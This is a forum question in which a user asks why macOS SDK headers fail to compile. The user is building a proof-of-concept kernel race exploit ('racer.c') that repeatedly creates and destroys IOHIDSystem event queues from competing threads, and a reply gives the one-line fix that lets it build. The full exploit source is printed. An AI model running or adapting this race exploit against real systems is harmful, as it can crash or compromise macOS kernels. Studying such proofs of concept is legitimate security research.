Reputation: 1
Is my headers corrupted or something? or is something missing ? I already uninstalled and deleted everything and all the folders xcode made in /Library and did a fresh reinstall and yet im still gettin errors such as:
Heres my command :
clang -o racer racer.c -framework IOKit
Errors:
typedef uintptr_t vm_offset_t __kernel_ptr_semantics;
^
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/mach/arm/vm_types.h:107:50: error: expected ';' after top level declarator
typedef uint64_t mach_vm_address_t __kernel_ptr_semantics;
^
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/mach/arm/vm_types.h:108:49: error: expected ';' after top level declarator
typedef uint64_t mach_vm_offset_t __kernel_ptr_semantics;
^
/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/mach/arm/vm_types.h:111:48: error: expected ';' after top level declarator
typedef uint64_t vm_map_offset_t __kernel_ptr_semantics;
^~~~~~~~~~~~~~~~~~~~~~~~~
1 warning and 10 errors generated.
Summary of the terminal output it's repetitive in multiple default XCode headers i've tried compiling in xcode itself and clang and each one didn't work for me
Heres the Sample Code from a POC exploit I'm trying to compile
// racer.c
// race
//
// Created by Booty Warrior on 7/19/22.
//
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <IOKit/IOKitLib.h>
#include <pthread.h>
io_connect_t conn = MACH_PORT_NULL;
uint32_t callCreate(io_connect_t conn) {
kern_return_t err;
uint64_t inputScalar[16];
uint32_t inputScalarCnt = 2;
inputScalar[0] = 0;
inputScalar[1] = 32;
char inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 1;
char outputStruct[4096];
size_t outputStructCnt = 0;
err = IOConnectCallMethod(
conn,
0,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err != KERN_SUCCESS){
printf("unable to createEventQueue 0x%x\n", err);
}
return outputScalar[0];
}
void callDestroy(io_connect_t conn, uint32_t queueID) {
kern_return_t err;
uint64_t inputScalar[16];
uint32_t inputScalarCnt = 2;
inputScalar[0] = 0;
inputScalar[1] = queueID;
char inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0;
err = IOConnectCallMethod(
conn,
1,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err != KERN_SUCCESS){
printf("unable to destroyEventQueue 0x%x\n", err);
}
}
void race(uint32_t queueID) {
callDestroy(conn, queueID);
}
int main1(void)
{
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching("IOHIDSystem");
if(!matching){
printf("unable to create service matching dictionary\n");
return 0;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMainPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return 0;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
printf("got service: %x\n", service);
err = IOServiceOpen(service, mach_task_self(), 3, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
printf("got userclient connection: %x\n", conn);
while(1) {
uint32_t queueID = callCreate(conn);
pthread_t t;
pthread_create(&t, NULL, (void *(*)(void *)) race, (void*) (uint32_t)queueID);
callDestroy(conn, queueID);
pthread_join(t, NULL);
}
return 0;
}
My Mac Version is Mac Montery M1 Macbook air 12.3.1 with xcode version 13.4.1 Thanks for any help, tips, or solutions...
Upvotes: 0
Views: 194
Reputation: 1
got help from outside source they stated putting #define __kernel_ptr_semantics
at the very top of the Code which worked for me.
Upvotes: 0